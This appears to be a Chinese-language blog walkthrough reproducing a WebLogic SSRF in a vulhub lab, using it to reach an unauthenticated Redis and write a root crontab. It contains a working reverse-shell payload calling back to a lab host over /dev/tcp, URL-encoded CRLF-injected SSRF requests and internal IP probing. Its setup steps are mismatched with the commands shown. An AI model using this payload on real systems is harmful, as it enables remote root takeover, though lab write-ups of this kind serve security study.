SSRF漏洞复现(redis)


前提条件:


1.安装docker


docker pull medicean/vulapps:j_joomla_2


2.安装docker-compose


docker run -d -p 8000:80 medicean/vulapps:j_joomla_2


3.下载vulhub


安装环境已完成,故此省略不做。

启动环境

到vulhub/weblogic/ssrf目录下

cd vulhub/weblogic/ssrf

启动容器:

sudo docker-compose up -d

启动成功,如图:

打开bp,然后打开bp中的内置浏览器Browser,输入地址10.9.75.45:7001/uddiexplorer进入网页,等待初始化后跳转出网页:

漏洞复现

点击Search Public Registries,在页面点击search后用bp抓包:

然后我们可以检查此处是否有SSRF漏洞,用dnslog生成一个网址:

复制后在数据包中输入

http://www.emt.hmb3ub.dnslog.cn

观察它是否会根据给的地址做url请求,如果有,就存在SSRF漏洞:

确定此处存在SSRF漏洞。

探测存活IP和端口服务

查看报错信息,发现80端口未开放,我们可以测试存活的可用IP,先到kali查看IP:

测试172.17.0.2、172.18.0.2、172.20.0.2、172.21.0.2、172.22.0.2、172.23.0.2、172.24.0.2、172.25.0.2是否存活,如果返回错误信息证明存活,端口用已知的7001开放端口,即它本身的服务端口。

经测试,只有172.23.0.2为存活IP:

计划任务反弹shell

由于web服务未开放、ssh未开放,利用redis未授权访问漏洞只能写计划任务做反弹shell,写一个每时每分每天每月每周的计划任务,IP写kali的地址,端口为21

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/10.9.75.45/21 0>&1'\n\n\n\n"config set dir /etc/config set dbfilename crontabsave

由于redis数据库的命令需要通过http协议提交,所以需要先进行URL编码:

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.9.75.45%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave


注意,换行符是“\r\n”,也就是“%0D%0A”。


需要在url中提交,前面加上协议头,前后加上两次换行符:

http://172.23.0.2:6379/emt%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.9.75.45%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave %0D%0A%0D%0Aemt
  • 1

在bp中修改字段点击发送,将计划任务发送到redis数据库中:

反弹shell成功,获取到root权限:


©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容